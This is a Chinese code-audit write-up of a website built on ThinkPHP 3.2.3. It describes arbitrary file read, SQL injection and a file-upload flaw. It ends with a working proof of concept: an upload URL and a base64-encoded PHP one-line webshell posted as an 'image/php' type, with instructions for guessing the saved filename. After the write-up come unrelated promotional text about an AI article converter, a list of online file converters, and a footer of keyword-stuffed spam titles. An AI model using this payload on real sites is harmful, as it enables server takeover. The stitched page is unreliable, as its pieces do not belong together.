整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          代碼審計入門 之私密小網站

          代碼審計入門 之私密小網站

          迎搜索公眾號:白帽子左一

          每天分享更多黑客技能,工具及體系化視頻教程(免費領)

          因為自己一直在學習用python編寫小工具,然后看到了一些文章關于掃描網站后臺備份文件的腳本

          我就參照著寫了好久的腳本代碼,都是低效率代碼

          然后勉強算是寫好了,運行了一下

          哎、查看結果還真掃出來了兩個包,還是有點用的

          好了進入正題:


          一、框架分析


          解壓發現,目錄有thinkphp,在tp的基礎上進行的二次開發,tp存在的漏洞肯定存在!

          (因為一些文件的名字可以找到該模板、所以打碼了)

          查看一下tp的版本:3.2.3

          Tp3.2.3 可能存在緩存漏洞、sql注入漏洞,sql注入暫時放放,緩存漏洞看看有沒有。

          參考一下:

          https://www.bilibili.com/read/cv10345589?from=search

          要存在漏洞的話,肯定需要調用tp框架的Cache::set方法,查找全局,看有沒有調用。可惜沒有調用,那就涼了。

          二、網站結構分析


          一鍵開啟自動審計!

          趁著這個時間大致瀏覽了一下網站的結構,它沒有把全部功能寫到controller里面

          沒有將index.php作為唯一的入口文件,可以訪問其他文件進入其他控制器


          它采用tp的URL_MODEL=0的模式,index.php對m傳參進行清洗

          網站如果訪問index.php默認訪問Home模塊的index控制器。

          而想進入后臺,則要找到入口文件××.php,它的m值為默認Admin、進入admin模塊。

          所以要進后臺,如果××.php沒有改變的話,那么訪問××.php就可以了。

          三、漏洞代碼審計

          (一)、傻瓜式漏洞


          明顯的任意文件讀取漏洞,而且出錯可以報出網站根目錄。

          這個找到敏感信息便可以讀取。


          數據庫賬號密碼就來了~

          (二)、后臺登錄sql注入

          什么??直接拼接post的值,實錘sql注入,但是不能萬能鑰匙登錄

          因為無論如何都要驗證加密了的password是否正確,幸運的是這里可以用顯錯注入


          上sqlmap跑一下就可以了。
          或者添加一個用戶,進入后臺搞事情嘻嘻嘻。

          這里暫時先不進去,看看前臺有什么可以搞的。

          (三)、前臺sql注入

          一堆sql注入,我不一一驗證了,各位大佬們肯定能一眼看出來,比如以下:


          都沒有過濾,而且又沒有使用tp的自帶函數,那就涼了嘛。


          (四)、前臺文件上傳漏洞

          經過不懈的努力,終于找到了一個文件上傳的漏洞,這道題有點像ctf,

          看來還是要多做點ctf的題呀,多練練思維。

          以下為漏洞代碼:

              /**
               * 公共上傳圖片方法
               */
              public function Upload(){
                  $base64_image_content=I("post.img");
                  $image_name=I("post.name");
                  $len=I("post.size");
                  $baseLen=strlen($base64_image_content);
                  if($len!=$baseLen)  $this->error("上傳圖片不完整");
                  if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)){
                      $uploadFolder=C('UPLOADPATH').date("Ymd")."/";
                      if(!is_dir($uploadFolder)){
                          if(!mkdir($uploadFolder, 0755, true)){
                              $this->error('創建文件失敗');
                          }
                      }
                      $type=$result[2];
                      if(empty($image_name)){
                          $new_file=$uploadFolder.date("His")."_".mt_rand(0, 1000).".{$type}";
                      }else{
                          $new_file=$uploadFolder.$image_name."_".date("mdHis").".{$type}";
                      }
                      $img_64=base64_decode(str_replace($result[1], '', $base64_image_content));
                      if (file_put_contents($new_file,$img_64)){
                          $this->success(complete_url($new_file));
                      }
                  }else{
                      $this->error("圖片不存在");
                  }
              }
          }
          

          由圖可知,代碼使用tp框架的函數I() 來獲取數據,具有一定的安全性,它的函數實現了html實體轉化。


          但是呢,這里他使用了base64的編碼進行輸入,所以<>都可以生效。


          接下來看一下滿足的條件:

          1.Size的post傳參和$baseLen數據長度一樣,也就是size就是img傳參的長度。
          2.preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)//只要輸入的img滿足data: image/jpg;base64, 就能匹配出三個結果:
          

          3.是否存在目錄。(肯定有的~)
          

          代碼往下走就是:$type=$result[2];


          也就是說type是文件后綴,那讓result[2]=php不就完美了?


          于是就有:data: image/php;base64



          再接著這段代碼:

          
              if(empty($image_name)){
                  $new_file=$uploadFolder.date("His")."_".mt_rand(0, 1000).".{$type}";
              }else{
                  $new_file=$uploadFolder.$image_name."_".date("mdHis").".{$type}";
              }
              $img_64=base64_decode(str_replace($result[1], '', $base64_image_content));
              if (file_put_contents($new_file,$img_64)){
                  $this->success(complete_url($new_file));
              }
              }else{
                  $this->error("圖片不存在");
              }
          

          判斷有無name傳參,有就拼接目錄、時間、和$type。其中type為后綴,那就OK,可以上傳php文件。


          最后看一下file_put_contents兩個參數,$new_file 為寫入的目錄文件,$img_64為寫入的內容。內容要是一句話木馬才行。


          $img_64是先進行替代操作str_replace($result[1], ‘’, $base64_image_content),再進行base64解碼。


          所以data: image/jpg;base64,之后的內容是一句話木馬的base64的加密內容就行。


          具體name的傳參無關緊要,而size是要等于img的字符長度,即可觸發文件上傳漏洞。

          總結就是,該漏洞因為太相信上傳的img文件類型,而觸發文件上傳漏洞。


          綜上可得到poc為:


          img=data: image/php;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==& &name=jpg&size=63
          

          PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==是一句話木馬base加密的內容。

          其中,要連接一句話木馬就要知道時間戳。

          本地復現:


          上傳的文件名是jpg_0430130105.php 文件名不難猜,月日時秒
          嘗試實操:

          url為:http://url/index.php?m=&c=indexAjax&a=upload
          poc為:

          img=data: image/php;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==&name=jpg&size=63



          上傳成功,看看效果:


          成功。

          菜刀就不連了!

          開溜是不可能開溜的,后續我還會再嘗試一下這個審計一下,若有其他新奇的漏洞代碼,我再上傳。

          心得體會:

          我自己通過學習了大約一星期的tp框架,才入門了這個審計

          我覺得、不一定自己要有多懂代碼、不一定要非得自己寫一個網站

          但是框架里面的應用包括內置函數這些一定要懂!

          這就像一個手機app一樣,基本的操作方法會了之后,你就可以找出這個app有哪些小bug。

          但是像大佬一樣,審計框架里的內容,那可能還有很遠的路要走,一起加油吧!

          什么選擇轉換AI文章網站?

          轉換AI文章網站是一個方便快捷的工具,可以幫助用戶將文本內容轉換為符合要求的格式。無論是寫作、翻譯還是編輯,轉換AI文章網站都能夠提供高效的服務。它不僅簡化了繁瑣的排版過程,還能夠提高工作效率。

          如何使用轉換AI文章網站?

          使用轉換AI文章網站非常簡單。首先,用戶只需訪問該網站,并將需要轉換的文本粘貼到指定區域。接下來,用戶可以根據需要選擇不同的格式選項,例如標題樣式、字體大小、段落間距等。最后,點擊“轉換”按鈕即可獲得符合要求的格式化文本。

          轉換AI文章網站有哪些功能?

          1.自定義樣式:用戶可以根據自己的需求選擇不同的樣式選項,包括字體、顏色、對齊方式等,以使文章更具個性化。

          2.多語言支持:轉換AI文章網站不僅支持中文,還支持多種其他語言的文本轉換,滿足不同用戶的需求。

          3.快速轉換:轉換AI文章網站提供快速轉換功能,無需等待很長時間即可獲得轉換后的結果,節省用戶的時間。

          4.格式自動調整:無論用戶輸入的原始文本是什么樣式,轉換AI文章網站都能夠自動調整格式,并確保轉換后的文本符合要求。

          5.導出選項:用戶可以選擇將轉換后的文本導出為HTML、PDF或純文本格式,以便在不同場景下使用。

          6.免費使用:轉換AI文章網站是免費的,用戶無需支付任何費用即可享受到高質量的轉換服務。

          有關隱私和數據安全問題

          對于用戶關心的隱私和數據安全問題,轉換AI文章網站采取了一系列措施來保護用戶的個人信息和數據。所有用戶上傳的文本將在轉換完成后立即刪除,不會被用于其他目的或與第三方分享。同時,該網站也采用了嚴格的安全措施來保護服務器和用戶數據的安全。

          如何聯系轉換AI文章網站的技術支持?

          如果您在使用轉換AI文章網站的過程中遇到任何問題或有任何建議,您可以通過網站上提供的聯系方式與我們的技術支持團隊取得聯系。我們將竭誠為您解答問題并提供幫助。

          通過轉換AI文章網站,您可以輕松、快捷地將文本內容轉換為符合要求的格式。無論是寫作還是編輯,它都能夠幫助您提高工作效率,使您的文章更加專業和吸引人。趕快體驗一下吧!

          參考資料:

          1.轉換AI文章網站官方網站:。

          家在辦工過程中是否會存在格式轉換的需求,之前也聊過對PDF格式文件的編輯與轉換,但在工作中肯定會需要轉換不同格式的文檔、圖片、音頻等文件。可一般公司的電腦上也不方便下載專門的軟件進行轉因此介紹以下幾個在線格式轉換網站,不需要自己另外安裝轉換軟件,也不需要對電腦配置嚴格要求,一個網站就可以滿足基本的工作需要。

          1、Convertio

          Convertio 基于瀏覽器并支持所有平臺,無需下載與安裝任何軟件,同時支持超過 300 種不同的文件格式間超過 25600 種不同的轉換方式。在操作上只需將文件拖放至頁面,選擇輸出格式并點擊“轉換”按鈕即可。一般在一到兩分鐘就可以完成轉換。同時這個網站支持OCR功能,但超過超過10頁的OCR任務就需要開通會員付費使用了。

          2、Cloudconvert

          超全的在線格式轉換網站,支持幾乎任何音頻、視頻、文檔、電子書、圖像、電子表格或演示文稿格式。界面雖然是英文,操作起來卻并不復雜,但是網頁有時會打不開。另外在使用時也不擔心內容泄露,網站官方會保證數據安全。

          3、ALL To ALL

          支持約200多種格式的文件轉換,包括:視頻、音頻、圖片、字體等多媒體文件,以及常見的office文件、PDF、電子書等文檔。最大可支持10M的文件,適合簡單的文件格式轉換工作。

          4、office converter

          Office-converser同樣也是一個在線格式轉換網站,里面能夠轉換文檔、圖片、音樂、視頻,甚至提供Youtube視頻下載、在線二維碼生成等多樣的功能。但是相比其他轉換網站,非會員用戶支持文檔文件只有3M,視頻文件50M,大文件轉換就無法免費了。

          5、轉轉大師

          轉轉大師雖然沒有其他幾個支持那么多格式轉換,但在PDF格式轉換上還是不錯的,它提供PDF與WORD、EXCEL、HTML、CAD等之間的轉換,同時也有簡單的PDF編輯功能。如果不開通會員,上傳文件的大小同樣僅限于30M,所以如果是更大的文件,就需要考慮其他轉換工具了。

          在線格式轉換網站雖然方便,但是在免費使用的前提下,基本上只支持10M以內的小文件,能夠滿足日常使用。但是如果需要批量處理的大文件格式轉換,就需要用到專門的格式轉換軟件,這個先挖個坑,留到下次說,有興趣可以持續關注。


          主站蜘蛛池模板: 精品亚洲一区二区| 精品免费久久久久国产一区| 成人精品一区二区电影| 无码AⅤ精品一区二区三区| 精品无码国产一区二区三区AV| 精品一区二区三区水蜜桃| 久久久久成人精品一区二区| 国产SUV精品一区二区88L| 国产免费一区二区三区| 人妻体体内射精一区二区| 精品少妇一区二区三区在线| 亚洲第一区精品观看| 国产成人av一区二区三区不卡| 日韩一区二区三区四区不卡| 无码国产精品一区二区免费式影视| 久久一区不卡中文字幕| 国产无套精品一区二区| 亚洲国产精品成人一区| 日本精品一区二区久久久| 国产一区二区三区不卡在线看 | 精品国产日韩亚洲一区| 日本一区午夜爱爱| 国产精品成人99一区无码| 精品一区二区三人妻视频| 亚无码乱人伦一区二区| 无码中文字幕一区二区三区| 亚洲av综合av一区二区三区| 亚洲乱码av中文一区二区| 亚洲国产欧美日韩精品一区二区三区| 亚洲天堂一区在线| 亚洲国产欧美日韩精品一区二区三区 | 精品一区二区三区在线观看| 国产精品被窝福利一区 | 精品一区二区三区中文| 欧洲精品码一区二区三区免费看| 激情综合丝袜美女一区二区| 精品视频一区二区三区| 色老头在线一区二区三区| 99久久无码一区人妻a黑| 国内精品视频一区二区三区| 一区二区三区四区在线视频|